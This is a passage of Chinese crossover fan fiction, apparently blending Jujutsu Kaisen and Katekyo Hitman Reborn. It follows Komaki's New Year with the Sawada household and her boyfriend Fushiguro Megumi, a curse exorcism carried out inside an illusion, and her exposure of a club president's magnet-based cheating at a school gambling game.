在夏油杰掐灭烟头并又开始咳嗽的时候,小莳一副“你看吧”的表情,语调恶劣地劝诫他:“别太爱了,已经过去了。两个孩子还在等你回家烧饭呢。”指指不远处同样在墙边现在目光逼视此处的双生姐妹。 听闻散场不算愉快,但夏油杰觉得小莳即使和那人在一起,也绝非是会任由自己吃亏的类型。 相似的性格,和悟还能打一架,和她却不行,还得好言好语劝着。于是他近乎是恳求的语气,请她别再提。 “?”杰有点怪,小莳问:“发生了什么我不知道的事情吗?” 悟还真是了解小莳,夏油杰早就被提醒准备了一套备用的应对说辞,他表现得相当惬意:“如果小莳被一个人在胸口画了十字,对方还好端端在某处享受生活,你会?” 绝对会把不长眼睛的家伙干掉,然后心安理得把他的遗产花光。小莳自信满满给出自己的毫不相干的答案:“当然是选择原谅他,loveandpeace。”心里第一时间决定这烂摊子她不能干涉,只要夏油杰一辈子不想着复仇,她四舍五入也算是还了对方一个人情。 怎么不算两清。 换个人聊,让杰先给17岁的自己上会坟。等自己做好心理准备带他偷渡回去见故人,理子17他29,涨辈分。 小莳在夏油杰一番并不紧逼的提问下溜得飞快。 夏油杰看她的背影露出笑意。五条悟当时分享的要点他记得清楚:“1、不能表现出慌张,小莳和我一样都会根据这个看人的,被发现端倪以后抽丝剥茧进程快到你难以想象;2、不要转移话题,小莳直觉只比我准一点点;3……6、说点让她心虚的话题她立刻就不关注了。她对伏黑甚尔没那么关心,我可有好好调查过那个男人,说来你都不敢想他……(省略500字)这种水性杨花行为模式单一的男人,就算他有过什么感情,他自己也会忽略掉的,他的灵魂控制不了他的□□,小莳也清楚这一点。她早就放下了。说点让她尴尬的话题,她立刻就会忘了原本不怎么重要的伏黑甚尔。” 天内理子死后他没有单独调查过那个让他第一次品尝屈辱和失败的男人,直到十年以后才又从挚友得知过时的情报,活得好就好吧,只要没联系就成。 夏油杰早也手染鲜血,咒术高专的两年承载着他少年时期最幸福无忧的回忆。喧闹的过往,时过境迁,在他选择自我放逐时,就暂时被收至幕后。现在他能够选择重新走上这条一度抛弃荒废的路,至于另一道歧路上的一切,于他已经失去了大部分意义。 无悲无喜的超脱对他而言来得比悟晚了十年。悟很早就和他说过,在盘星教门口终结伏黑甚尔的时候,领悟了反转术式的他只觉得冲破了世间一切桎梏,他的眼里倒映着整个世界,一花一木令人喜悦欢腾。“天上天下,唯我独尊。” 没有对赏金猎人的憎恶,没有对天内理子逝去的哀伤,像神明一样,只是注视、感知。 夏油杰在见到了小莳以后,回想起当年的交谈才真正理解其中的含义,虽然这和他人生阅历的增进也有关系……但他还是想说小莳说的话可比悟具象多了,大概读书还是有必要的,大大减小了沟通表达的障碍。 总之,虽然心里不希望伏黑甚尔过上美好人生,但他冷漠地对这人没意见了。 小莳去找了好久不见的兄长阿纲,知道他总是能从奈亚处得到自己的情报,并不赘述,只向他介绍了自己目前在认真交往的男朋友,选取了日理万机的青年首领能听懂的方式:“就是那个禅院家流落在外一直哭着闹着想要回去的十影,但他现在在和五条悟混,他们高攀不起。” 听懂了,但年轻的首领觉得和事实或许相去甚远。 “等等,你的之前交往的前男友是?”好像也是禅院家的血脉,泽田纲吉有点迷糊,生怕是自己记错了,赶紧询问。 小莳蓝色的眼睛一眨一眨:“不必提起他,我们可以设想他不存在,反正也是另一个世界的人。” 泽田纲吉很好奇,但看她自有主张的样子便信任地不再提起,和小莳讲起了新鲜事:“恭弥也掌握了咒力,因为他一直很生气。只有咒术师能袚除咒灵的特权想必不令他满意。” 小莳对此并不意外,从他在教导小莳第一课时的那句“火焰的来源,就是愤怒。”她就知道他们在战斗方面,相性不太好。以及对方…… 随口吐槽了一句:“他可是彭格列的纯恨战士。” 不过恭弥喜欢小动物和小孩子,在她小时对她颇为照顾,这点难以否认。小莳也不讨厌他,只是在第一堂课以后就毙掉了这个老师未来的所有课,最后兜兜转转还是里包恩辅导她。 在代理人战争结束解除诅咒的里包恩看起来只比她大一两岁,他们几乎像是同龄人。现在也是。 活了大概有不知道多少年的里包恩如今精神状况和蓝波差不多,当然他会全盘否认幼稚的蠢牛。他会轻佻肤浅地说些“好男人会怎样对女人”、“绅士是怎样”的话,即使他已经和泽田纲吉柏拉图多年,前段时间刚过上二人世界--因为泽田纲吉坚持有些事要成年才做。 笑死人了。 现在他高大的身影配上拜拜增高10多厘米的帽子,在小莳眼前投下一片阴影,她不客气弹了一下他鬓角,嘴里说着:“好男人是不会让女人扑空的。” 他于是没躲开,嘁了一声。 她就说人的灵魂和□□是统一的,不然这百岁老人哪来的年轻气盛。她拿来说服对方这话其实有悖自己的理念,但言不由衷并非真心的话也没少说,如果能借此让朋友吃瘪她是完全不介意的。 小莳关心:“最近怎么样?” “除了正一大家都很开心。” 他好可怜,头发还好吗?橘白相见的发色可不好看,甚至会非主流。肠胃说不定也……小莳心生怜悯:“再给人事部招点人吧,最近守护者缺席的频率太高了。” 里包恩讲话一如既往缺乏慈悲,他是小莳心目中的彭格列奴隶主:“别乱想,早就招满人了,只是意大利需要人坐镇。斯帕纳很快回去,他可以回来待上半个月甚至更久。” 他送了小莳一套校服作为生日礼物,列恩织的。 那礼物就像海洋里的一滴血,这些人像鲨鱼,没一会她面前就排起了人的长队,亲朋好友拦住她想去寻找伏黑惠的步伐,与她交谈,向她祝贺。奈亚隔着玻璃门朝她微笑,偏偏无视了她求救的眼神,回头开始切一颗包菜。 ……她不讨厌收到礼物,但是也不习惯那么多人给她庆生,以往和阿纲一起的时候倒是好很多,什么东西都是双份,没那么尴尬。 在那之后还是奈奈十分自然地提出想看小莳穿校服的请求,她才得以上楼,并在众目睽睽之下拉走了伏黑惠。 “带我同学打会游戏,过会下来吃饭。”她是牵着手和他上去的,没怎么在意众人的眼光。 男友脸色发红:“不是同学吗?” “是同学啊,只要没在大庭广众之下直接承认,亲一下也是同学。”小莳给伏黑惠分享自己的心得,“就是要理直气壮,让对方怀疑自己是看错了还是没跟上时代发展。总之难为情这个命题也算零和博弈,对方内耗你就能松弛了。” “……” 小莳带他进了自己房间,奈亚把这里收拾的相当整齐干静,玻璃透光,桌面清洁,床单没有一丝褶皱,直到她一股脑把东西都丢上去,最后才是她的校服。 “说实话我还没去过这个学校,以后应该也不会经常穿这身衣服,有点浪费。织这么一套从衬衫到外套和裙袜估计要吐不少丝。”小莳的话引导伏黑惠想到了西装青年肩头的变色龙。 他问了,得到了肯定的回答和关于丝线耐性的解释,以及小莳的发问:“你的术式里面有会编织制造实物的式神吗?” 没有。并且应小莳的需求他又变出了脱兔。她没怎么在意形象地蹬鞋子上床,头枕着蓬松被叠起放在枕边的被子,然后她给伏黑惠介绍了自己的老师。说了一点十岁以后的历练和教育心路,评价为:“不说都不知道我过了这么多苦日子。” 抱着小兔已经不能调理好了,小莳眼见男友正好在帮她整理之前随意脱掉的鞋子,她对他张开双臂:“抱。” * 吃饭的时候她被奈奈安排和同龄人坐在一起,奈奈甚至没注意到小莳没换衣服这件事。实际上小莳和灰原雄还有吉野顺平也没什么共同话题,比起那边热闹的守护者混战和两位女士一刻不停不为吵闹转移的注意力,这边四个人的动静小得多。 她小声给男朋友介绍:“那天和你说的嫂子今天不在,他不喜欢人类,正在并盛孤独流浪。”因为新年人们总是三五成行,而他平等憎恨每一组群聚。 小莳给他介绍了其他的人:“这是另一个嫂子,他喜欢自称左右手,现在做的也像模像样,今天的几道菜就是隼人做的;这是隼人的一款竞品,阿武,我从他手上偷学了两招剑术,以及他也曾经被里包恩带过训练一段时间,算是我半个师兄,反正他们红蓝夹心很时髦。” 伏黑惠的大脑因为小莳的敷衍言语成了液态结构。也许她说得对,一个人松弛了,另一个人就……会自我怀疑。 小莳就像遵循手续带新人入职的漫不经心老手,自顾自跳到了下一条规章一样转而带他认起了另一个幻术师:“再给你介绍一下我害怕人类的嫂子的另一款黑暗夹心,那个是六道骸,现在是彭格列雾守。他以前受过伤,干过坏事,后来从良了,你知道我们术士的脑袋在有的时候和常人是不一样的,骸是很罕见能和我对上脑电波的,不过可能是因为我以前遭遇的一些事情缘故,我感知到了一些他的内心,”嗯。桀骜不驯的外表下是他超爱。什么“那一刻我看到了光也不一定。”小莳内心笑开了花,和斜对面的骸对上视线,给了他一个礼貌的微笑,然后转头悄悄和男朋友说:“这边是传统救赎文学,恭弥的情况是第三种傲娇,等以后见到再和你说。” 伏黑惠有些过载,问了一个愚蠢的问题:“现任是谁,是你的老师吗?” “不。”小莳回答他:“他们都是。除了大哥,大哥在一众守护者中脱颖而出,他和黑川花牵手成功。蓝波太小了。虽然年纪比我大几个月但是因为一起长大所以我会怀疑他下半辈子都谈不了恋爱,你知道他以前是花菜头吗?就算他长得再好看配上……等等,我以前好像也没办法想象海胆头能出清秀美少年的,罢了。”蓝波现在有坚持打理头发,实在想象不出来他的五官配上原生次元卷毛会是什么样态。先不妄下断言。 该谨慎的时候她可从不掉链子。 “……”那人数也太超过了吧! “最后最后,给你介绍一下我的强制爱前上司,你看我的网络ID就知道他不是什么好人,暗鲨部队瓦利亚的头头。他以前不爱,后来爱了,怎么办呐,阿纲就是招人疼。” 难得他这一次跟上了节奏:“就算你这么说,这也……” “所以说他们打情骂俏十年多了奈奈都没发现,只要我不说你是我男友,她不会注意的。”小莳捏捏他的手,“今天饭菜味道一般,晚点让奈亚给我们开小厨房。”新年就要吃蒜香猪排、没有洋葱的咖喱、茶碗蒸。 其实没有这种习俗,小莳乱编的,都是她想吃的菜。 伏黑惠觉得菜肴水平不低的,女友要求高而不自知。 她又补充了一句:“其他人管不到我,他们的意见不重要。” 这样的观点他从小听到大,来自五条悟,还真是耳熟。 * 下午的时候,临时发生了一起咒灵警报,恭弥此时在城镇另一边兜风,此外整个并盛的咒术能力者都在泽田家了。 小莳瞟了一眼夏油杰的手机,距离不太远,800-1200米,根据咒力评定的等级是二级左右。正好伏黑惠在客厅里待得也不舒坦,她摁住枷场姐妹的肩膀,自告奋勇接下了维护并盛和平的重担。 “400米的误差,我觉得与幸吉可以去机械工程类专业进修一下,或者美美子菜菜子也去读个大学吧,谁赞成谁反对?” 没人理她。 夏油杰微不可查地冲她摇头。 “好啊,我这是匹配上四个反人类?真好,我7岁的时候也讨厌人类。有一种回到小学的童真围绕了我,真安心。”小莳一脸甜蜜,说完就跑。留夏油杰给两个孩子消火气。 2018年的泽田家依旧没有买车,传统的家庭主妇奈奈习惯步行,其余人总不在家,庭院里只孤零零放了一辆自行车。小莳十分自然地要求男友载自己。 “你不会以为我愿意跑过去?”万万不可能。 伏黑惠任劳任怨,小莳在后座抱着他的腰。 “小莳,我……我并不讨厌普通人。” “没关系,我并不在意这些,但是人多会让你不自在?真有趣,我在不需要的时候一般会当他们不存在。”只要别想着毁灭世界然后成为新世界的神,一切好说。 “……” 小莳不客气的对男朋友提出要求:“我很高兴你能和我说这些,交往十天我对你的了解大多不是出自你本人之口。你可以再和我多说一些。既然明年想和我一起过新年,就要更主动一点哦~” 伏黑惠嗯了一声,直到下一个路口他都没开口。 “小莳,你不要这样。” “哪样?” “……别摸了。” 他腰上的手规矩起来,她大声为自己辩解:“都怪惠的腰太细了 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谁家好人大过年搞事情?在行政上她建议取消咒胎,可惜权限不足,只好在社会层面物理克服。 托长野那次的福,她大概知道怎么袚除这种万千杂碎混合成的半吊子特级,“八十八桥,你是不是也袚除过特级?野蔷薇和我说过宿傩偷吃手指事件。” “嗯,那时候初步掌握了领域。” 战力上不成问题,偏偏这里是人气尚可的新兴商业区,新年促销活动吸引了不少人。 “你的式神普通人可以看见吗?” “看不到。” 真遗憾,不然可以大象闯进市区什么的,在调剂精神文化生活之余顺便清理一下现场。小莳对天灾方面不是很了解,她很快想到了好方法。给阿纲打电话--通话中。 于是她又打给了夏油杰。 迅速接通:“杰,六道骸在那边吗?让他接听,我觉得地震不错,问问他对地壳运动了解多少?实在不行就歹徒铤而走险持枪抢劫吧。” “喂,这里不能停自行车,小子,人行道。” 脸颊和肩膀夹着手机,小莳推了一把伏黑惠,让他快走,然后转头对这个普通市民说:“滚。”本来过年上班就烦,遇到个差点要死掉的人,凶他就凶了,小莳一点也不愧疚。 骤然爆发出的杀意甚至惊到了背对她的伏黑惠,寒意顺着脊椎攀爬蔓延。 大魔王一样的当事人沉浸在电话里,全神贯注:“哦?骸说可以?替我夸夸他,不愧是身经百战的Mafia。”烫知识,即使过了十几年,六道骸仍然不喜欢被称为是Mafia,小莳这波是心情不好时拖人下水的坏心眼。高情商夏油杰才不上当。 没理会身边这个被吓得瘫软在地的家伙,小莳转身向大楼走去,抬眼看,咒胎比方才大了一圈。确实很快。 等小莳和伏黑惠乘电梯前往顶楼时,电梯震荡了一下。 她想,来的真快啊。勾起笑意,不愧是mafia。 新商场,新设施,质量过关,顺利开门后小莳拉着男友就找到安全通道继续往上跑,和人流的方向完全相反。 “这是幻术,精密的幻术至少要清楚相当的原理才能实施,骸懂得多,在这方面我远不如他。”她和伏黑惠解释,“影响范围超过方圆1公里的地震幻术还是有些难度的,不过只针对普通人。强度不高,你深呼吸然后凝聚咒力大概可以脱离影响。” 运气不错,碰上靠谱队友的团建,这个咒胎不成气候。 奈亚来到大厦顶端的时候,小莳正枕在男友的腿上,玩手机。 “呦,人群疏散的怎么样?”差不多的话直接把脐带切了,咒胎中没完全融合的咒灵会更好对付,她不介意省点事。 “还没好。距离完全疏散大概还有半小时。” “好吧。那你也去帮忙,我和惠在这里守着咒胎。我觉得它快孵化了,你们抓紧时间。大过年的,殡仪馆和火葬场员工也不想双重晦气。最好不要。”说完她闭上眼,“有点累,你走吧。” 上班很烦,工作内容是和尸体打交道更烦,但这个咒胎看起来离孵化不足半小时了,让她想想。 “惠的领域是怎么样的,能再多说说吗?”小莳的声音懒洋洋,像是在享受午后闲暇时光。 他便讲起了自己未完全成型的嵌合暗翳庭。 听起来还没强到惨绝人寰的地步,她是指比起涩谷那天的起锅烧油和无量空处,小莳决定辛苦自己一个,造福并盛全区。 “惠一个人可以解决咒胎吗?”伏黑惠不明白女友问这个问题的目的,但他点头,说大致可以。新形成的咒灵对咒术的领悟只是本能性的,加之只能在诞生之地徘徊,受到了多重限制。 即使是特级对他来说也不算可怕。 小莳叹了一口气,早知道还是要这样,就早点把他们带到幻境里了,失策。 她拿着枪在手上转了一圈,然后朝天上愈发饱满的咒胎射击。什么都没有发生。 下一秒,她面朝伏黑惠,打了个响指,天边浑圆的球体以及源源不断的浓郁咒力瞬间消失。 “走吧,牵着我的手,去袚除咒灵。”她朝他伸出手,向他多解释了两句:“幻境里的每一次咒力碰撞都要由我独自承担,但是这样能把对环境的影响降到最低。听说这两个大楼建立的时候花费上百亿,如果刚建成一两年楼就被炸飞,大概会直接影响到这片区的经济和繁荣,太麻烦了。”商业的萎靡和萧条像癌症一样,难以恢复,扩散却快,一同散布【死】的讯息。 居民的倾向和信任一旦失去,挽回就要花更多的代价。 小莳满脸写着高兴,“维持幻境边界的边界需要时刻留神,我还是喜欢更留有余地的行动,所以战斗就交给你,行行好,对我温柔点,惠。” 伏黑惠因为她的话有些脸红,但现在不是说这些的时候,他牵着她的手,传送到了幻境中。 小莳看着他展开领域,破坏咒胎,同里面半截身子在蛹里的咒灵战斗,借助影子视线接近随心所欲的移动方式,还有召唤出的式神。 怎么说呢,只有□□看起来比较符合她对凶神恶煞的印象,其他的都挺……可爱,战斗领域里这可不是什么褒义词。 这咒灵还会声东击西,它瞄准了小莳,选错了人。 小莳给了它一枪,然后默契的躲到影子里,同一时间在咒灵身后又出现,驾轻就熟往熟悉的位置打了两枪。往后不过是流程性工作,关于并盛这个地方有一条可以被称为玄学的定论:此地并不会有灾殃,即使有,那也是因为它是最后的决胜地--很多年之前,千万个平行世界很好的印证了这一点。 这次有两根手指。 唔,怪不得咒胎诞生地这么快。 事情比想象中更顺利的完成,小莳几乎没怎么收到伤害。 但是伏黑惠问她的时候,她假意捂着肚子,让他有点担心。 她说:“有点难受,像怀了个动物园。” “……小莳!” “有点饿了,原来是脱兔宝宝想吃东西了!” “不要在严肃的时候开玩笑啊!” 交往以来的第一次,伏黑惠表现出了自己的生气。成熟的大人小莳花费了1分钟,也就是足足60秒哄好了生气的小男友。 然后她说:“这也是你的孩子,孩子说想吃饭了。”毁掉了耗费大量时间建设好的信任。 直到她作为拯救了并盛的大恩人,从冰柜里吃完第二个冰激凌,他都没说话。 在她偷窃的小手准备拿第三个时,伏黑惠终于开口,他语气有些生硬,内容倒殷勤:“吃太多肚子疼,这时候至少和你的兄长还有夏油杰他们说一声。” “他们看到咒胎没了就会意识到的,”比起这个,小莳和伏黑惠说起要紧事,“我吃两口,剩下的给蓝波吃。或者给阿纲。” 关于这个厂生产的冷饮她如数家珍:“它们减量了,现在一盒虽然有着差不多的体积,但那都是奶油打发的空气,只有娇小的60g,150g完全不是问题。因为是我很喜欢的产品,所以不想浪费,蓝波从小吃我吃剩的吃到大,如果他现在不上当了那就阿纲。” 伏黑惠承担了剩下半个冰激凌。 过了一会他故作不在意地发问:“你们从小一起长大吗?” 小莳和她说了四岁以后被泽田家收养的事情,但因为身体原因还有心理问题,小时候她不怎么搭理蓝波,还打过他几顿:“不过他记吃不记打,人也很笨,正因为如此才相性不错。一定要说的话勉强算青梅竹马。当我听到我自己用这四个字形容我和蓝波的时候,从此以后网络小说里的幼驯染设定就离我而去了。”不过蓝波的存在仍有必要,如果没了他,那谁来衬托自己的聪明呢? 她没注意到男友的沉默,顺着自己的思路怀念童年:“他以前可好骗了,有什么我不想吃的东西,只要装出一副不想分享的样子……蓝波就是完美的垃圾桶。就算是不喜欢吃的蔬菜都会一口气塞到嘴里,损人不利己的典型。” “惠,莫非你……有点在意我会把别人当中转站这事情?” 他下意识说的是没有,然后在小莳狐疑的目光中点了点头,说:“那个人也会,你也会给他吃不掉的东西吗?” …… 这个问题不难回答,难的是全在预料之内的后面会跟着的一连串的问题,和她不想得到的结论。小莳走了个捷径,她和男朋友分享了嘴里的冰激凌,新年的大街难得明亮而空旷,不做点什么属实可惜。 71. 第 71 章 他这问题可就勾起了小莳久远的回忆。 是的,伏黑甚尔帮她承担的垃圾数不胜数,他做了小莳不爱吃的,不吃;本来爱吃但是吃两口不高兴吃了,不吃;今天做的留到明天了,不吃;做多了,不吃。 长了个公主胃,神之舌不会做饭版,约等于半个薙切绘里奈。赤司家基础资金没短缺过她的,伏黑甚尔胃口又够大,于是一切就顺理成章。 人的自我认知有时和事实相去甚远,小莳并非随和,只是备受宠爱。现在娇惯的成年人意识到自己以前生活上算是颇受男友(前)照顾,而她的大小姐脾性也致使她总对人呼来喝去,他不总是听,却也不因此和她计较。她并不怀念过去,只是拉远距离、进入下一段关系后才意识到自己对对方有点随意了。 小莳并不想承认自己又多欠了一点,因此她逃避了惠的问题。 回到空荡荡的家里,奈奈在看本地新闻台对这次突发地震的报道,目前无人伤亡,有想趁乱偷抢的街溜子也被正义市民阻拦。 本地颇有威望的杰出企业家接受见义勇为采访,小莳给伏黑惠指认:“这就是我那讨厌人类的嫂子,他脾气不好,上次见面还想打我,就因为我穿了不是并盛的校服。还挂我电话。”穿了他死对头的同款cosplay,恭弥缺乏幽默感。 伏黑惠首先看到了地上爬不起来的非主流人士,大约七八个人:“……” 晚上家里的房间不够多,最后的安排是唯一的客房给枷场姐妹住,因为奈奈说“真是可爱的孩子们,像小莳小时候。明天早餐做蛋卷给你们吃。” 小莳作为当事人在当场微笑,事后深感冒犯地否认:一点也不像。 蓝波的年纪已经大到不能和妈妈哥哥姐姐中的任意一个一起睡了,不能和哥哥一起睡是因为今晚家庭教师里包恩在那,他和其他大部分无家可归的人一起去风纪财团。六道骸进不去,又被世界第一杀手拒之门外,住彭格列基地。至于他会对阿纲的梦做什么……小莳选择不去想。 正常交通的速度,从高专到并盛要2小时之多,虎杖和胀相过年,野蔷薇在东京强势入驻纱织的公寓,伏黑惠实在没必要回学校,小莳本来也打算留他在并盛过几天,他也去住彭格列基地了。 “明天我去找你,给你带早餐。”小莳和他说。 然后第二天早她和兄长双双赖床。等她下楼的时候,奈奈里包恩枷场姐妹已经围成一桌在吃饭了,男友他们旁边坐着,面前什么也没有。 至少她在家庭同辈起床比拼中获得了第一名的好成绩。战胜了阿纲和蓝波,同辈竞争结果喜人。 轻声和男友道歉,得到了对方的理解,作为补偿她亲自给他端了早餐,奈亚做的奶油蘑菇汤和黄油蒜烤面包。从和面到成品全家庭烘焙,自从空间够了,他购置了一些厨房用具。 小莳本来觉得这有点过,他咋不从种麦子开始做起?直到吃了第一口酥脆的面包--金灿灿的蒜和焦黄色面包的表面相得益彰。烤箱恰到好处的高温加工,黄油的香气和面包本身的风味交融,在口腔里咔滋咔滋蹦开演奏出令舌尖想要与之共舞的协奏曲。 “面包仙人。”小莳不问他是什么时候在哪里学来的手艺,反正他总有办法。 * 伏黑惠不喜欢人多的地方,小莳就带他去了新年人们不想去的地方排名第三的图书馆。 “我以前很喜欢看书,那时候网络购物还不发达,阿纲就会去图书馆帮我借,意大利倒还好,那里空间够大去书店全买了也无妨,但你也看到了,并盛的家很小。”小莳给伏黑惠说明了图书馆改造更新的历程,“后来彭格列花了一笔钱稍微重新翻修了一下公立图书馆,它就变成了现在的样子。” 美观奢华的严肃建筑,玻璃穹顶和规整的边缘线条,站在台阶下仰视整栋楼时,知识的气势就扑面而来,纵使如此,它塑造出的气息比起书籍殿堂更像庄严的法庭。 “看起来比较豪华,实际上被光顾最多的地方是厕所。除了学生几乎没人来阅览室学习,你知道吗?最近几年期待读研究生的学生越来越多,即使是并盛这个小地方也受到了这种风潮的影响,还好奈奈只希望我读个大学,做她的骄傲。”小莳和他介绍,并拿出口袋里一张看起来年岁颇久的卡,“但是没关系,因为我们是出资重修的人,这里永远有一间私人阅览室,所有的珍藏孤本也都开放,你有想借走的书也可以。听说你很爱看书。” 伏黑惠确实热爱阅读,偏好纪实文学,因为据他所说:“和观看纪录片体验很像,但效率可观。” 纪实文学和其他的不同便在于对真实的追求,如此一来文学性势必受到影响,而且……“你会相信书里写的内容吗?”小莳敏感的发现男友的性格中和【相信】二字有相悖之处,一个素昧平生而极有可能巧言令色的作者在多大程度上能说服刁钻的读者,结论是有待商榷。 “还行。”他驴唇不对马嘴的回答意思就是--基本不相信。 小莳闻言笑出了声,她摇摇头。随他去吧,每个人都能从文学里按图索骥,但那是不是他想要的就不好说了。 硬要说的话惠和蓝波算是有相似的成长路径:失踪的家人,幼年寄人篱下,不太靠谱但算是温暖的成长环境,但人的天性总归不同,道路亦如是,五条悟也确实和奈奈差远了,在带小孩方面。 首先他工作很忙,其次他在一开始对伏黑惠并不算上心。作为半路接手烫手山芋的少年,他已经做的够好了。而伏黑惠……咒术界在未来显而易见会给他很多的试炼,于磨难中成长似乎是每一个洪流中天才的宿命,他也会迎来越过潮汐的一天,这是完全可以预见的未来。 阅读从来只是小莳的planb,但春假期间受到男友的带动,她也带着又阅读了几本新的书籍。 高专对新年没有校规上的界定,只是按照一如既往的口径,学生们一般会在1月7日之前回到学校待命,冬季咒灵虽然少,但并非没有,而较为低级的任务出于实力和供求的双重考量,多会派给在校生。 伏黑惠一个人回高专了,小莳在几天后也开始了自己的新学期--私立百花王学园开学。 她提前一天晚上来到高专,这离学校更近。 第二天她起了个大早,八点之前要出发,否则会迟到,新学期第一天的老师可是很期待抓考勤的。 她穿着校服,扎着学生间高频率使用的马尾路过操场时,高专一二年级的学生大部分都在晨练了,真是辛苦,她反正一般受不了这种勤学苦练的委屈。 和大家打了招呼,收到了一众对于她的校服的评价,多数是好评,某些人的是说着反话的差评,点名禅院真希。 “是嘛,我只是觉得普通人穿上这个下一秒就可以去做荷官了,反正我是想不到他们把黑丝红外套纳入校服的意义是……个人建议在未成年人保护法里禁止。”小莳打了个哈欠,美而自知:“反正我长得好看,套麻布也好看。” “你已经18了。” 面对挑刺也依旧优雅应对:“哦,谢谢你的提醒,禅院同学。” “……” “晚点再见,惠。”小莳额外和男友道了别,今天她的头发用直板夹拉直,又被扎起,温柔又书卷气。 伏黑惠觉得她穿校服很美。 小莳在高专9公里外度过了注定乏味的半天,剩下半天--具体为从社团活动开始时,她被介绍去和传统文化研究会会长西洞院百合子进行……传统文化研究。 对方眯眯眼的样子像极了夏油杰,但显而易见是个出了千的坏家伙。 小莳在亏了2000以后掩着唇悄悄问奈亚:“我们今天的预算资金还有多少?”好心的造物拼来的血汗钱,不能被自己这个主人一下子就挥霍个干净。 还是她亲自上学的第一天。不行,无论如何那样看起来都太败家了。 这太不好意思了,再见到五条悟以后,小莳下定决心不能做和他对伏黑惠一样顽皮的事情,得靠谱起来。虽然奈亚并不是她孩子一样的身份,但小莳觉得自己对他负有责任,必须要体谅和关怀才行。 他说为今日准备了1个亿,小莳放心了。 对面西洞院百合子对小莳的心中所想一无所知,只是用一种含蓄的方法嘲笑她的不佳定力,在赌局中选择场外援助;小莳也回以假笑,婉转告诉她她骂人的阴暗样子像极了古代附庸风雅但贻笑大方的小丑,因为她眼睛太小又不睁开,并且姓氏很怪。 小莳承认自己有点地域上的刻板印象,但对面讲话确确实实像个京都人。看来京都人热衷阴阳怪气也应当被列为三大不同世界共通定理中--就像七大奇迹十大不可思议往往都超出它们所指的数量,三大定理超过3个也完全情有可原。 西洞院百合子对于前者不予置评,小莳觉得这是因为她无法反驳,但对与姓氏方面,她大谈特谈自己家族源起平安京的历史,暗讽小莳没文化。 小莳的家系源自意大利,泽田只不过是初代隐居日本后随便起的姓氏。她受到的精神伤害为0。 以“只有祖上富过现在不发达的人才老提当年。”结束了一轮唇枪舌战,开始了酣畅淋漓的下一场真枪实干的筹码投放。 又一次2000w,又一次2000w,以及最后一次的……40枚100w筹码齐下。 小莳全凭心意下注,反正她也不在意场内的事情。买定离手,揭盖,结局是:小莳在付出本金1亿之余,倒欠西洞院百合子3000w。 于房顶悬挂的般若假面之下,夕阳的余晖照应出胜者温婉和煦的笑颜。 小莳这边对结局也同样满意,在奈亚说着“明天下午17点前汇款将打到研究会账户上”后,她先一步离开座位,在听见身着和服女人满意餍足的笑声后,方才回头。 “西洞院前辈,不知您是否听过这样一句诗?”朝容颜静好的和服女子露齿一笑,小莳瞥见了奈亚一瞬间有点惊慌的神情,但是她此刻自信满满,没时间说悄悄话了,撕烂敌人的脸要把握对方最开心的一刻,不然怎么带给她蹦极一样的刺激。 三年级学姐的笑容没收到她暗戳戳的影响,只做出洗耳恭听的姿态,小莳对着她嘲讽的假面开口:“是中国的一句古诗,不知道家族源起平安京的您有没有相关的汉语言文化,如果没有的话那您现在稍微就受到了一点陶冶。免费的。毕竟祖上能传下来的风雅少之又少,到最后就只徒有虚名,这玩意碰到什么单传又不孕不育的,香火可就断咯~” “【夕阳无限好,只是近黄昏】,晚霞夕照的美丽只在一瞬,在那之后就是寂静的永夜,生命里的每一次猛烈地狂喜也正有此风险,您看,这不就悲痛来袭了?”小莳叉腰,俯视跪坐在地上的高雅女性,她此刻只因为小莳言语上的家系羞辱而皱眉,“怕您不知道我特地再说一声,后面这话改自人间失格,就是作者活不下去自杀了的那个。” 用的案例必不可能正面。 “是这样的,我有着雄厚的家庭背景和疼爱我的兄长,以及我属于我本人的、几乎取之不尽的账户余额。”这话有夸张成分,首先阿纲应该不喜欢赌博,其次她账户没【取之不尽】那么多钱,但对付这个没落贵族绰绰有余了,“您所赢得的钱财将会在明天悉数到账。但是--” 她一字一句,语气里的笑意仿佛被不知名的存在吮吸尽消亡,透露出不详的森森鬼气:“也正是同一时刻,您出千的手段会在全学院范围内人尽皆知,犹如喜悦的心一般,您也只能短暂的的拥有这笔微末的财富一段时间。我劝您买点好的理财吧,听说传统文化研究是您去年接手改革的,那么到今天为止有多少可怜的傻孩子在这里被老千蒙骗了零花钱呐,这笔钱追讨起来想必也不难。或者您去放贷呢?”利率不合法的那种。 身上价值不菲的和服,需要长期打理而决计消耗良多的庭院,一看就是古董的面具挂饰,西洞院百合子,一眼花钱大手大脚。 落魄末裔的穷讲究罢了,她才不在意。 小莳的语气又变得轻松愉悦,仿佛只是在讨论黄昏美景:“对我来说就像是钱存到没有利息的银行里,总归有回来的一天,但您美丽的容颜恐怕就要受到生活的折损啦!” 她没觉得这位三年级前辈美丽,硬要说的话只有伪装出的气质有点吸引人,五官就和今天的课一样乏善可陈,不过这是先前西洞院的原话“女人不能因为别人的话生气,去美容院做多少保养都补不回来。”给她点自相矛盾的小小震撼。 在对方惊慌失措汗流浃背负隅顽抗的反驳中,小莳梦回米花破案现场:凶手一定要在侦探说明作案手法和证据后才能使出一套下跪阐明动机的连招。 好吧,她一向宽容,愿意在别人的规则里循规蹈矩墨守成规的进行自己的进攻,并且将敌人打击的溃不成军。 三两步走到西洞院身边,右脚踩在她跪坐的膝盖上,右肘撑在大腿上,捏住前辈恐惧又怨恨的小脸蛋,强迫她看着自己左手--那里正拉着执意反抗的摇壶荷官的手。 荷官也是学生,并且是传统文化研究会的成员,其右手背指根处,钉了能被吸铁石吸引的耳钉,“请你努力睁大眼睛看看,在会员手上扎钉子你是真不担心人破伤风啊,有趣。我从不对自己的同伴这么轻率,总感觉甚至偏于草菅人命,你真是个坏家伙。” 小莳与西洞院百合子玩的游戏名为【生与死】在壶中投入十把袖珍小剑,壶的底座有二十四个数字和二十四个洞,输赢就根据最后插入洞中的剑以及玩家所选择投筹码的号码来判断。有点像是可供选择更多版本的摇骰子,猜点数。 只不过还引入了矢量内容,如果猜中了点数,但不幸是【死】的那把剑戳中洞,那么……中的人就倒欠对方原本该赢的数额。 玩的挺大,很刺激,幸好小莳钱多。 而西洞院和她的同伙所使用的千术就是手上的铁吸引十把小剑中的吸铁石,从而或多或少的改动赌局的流向。并非十拿九稳,只是在一次又一次的博弈中,公平的天秤或多或少的倾斜,加上本金,足矣使赢得多亏得少。而也正是因为其中有不可控的因素、比起稳妥确笃的千术更为开放的环境,这手段没引起什么怀疑,安然用到现在。 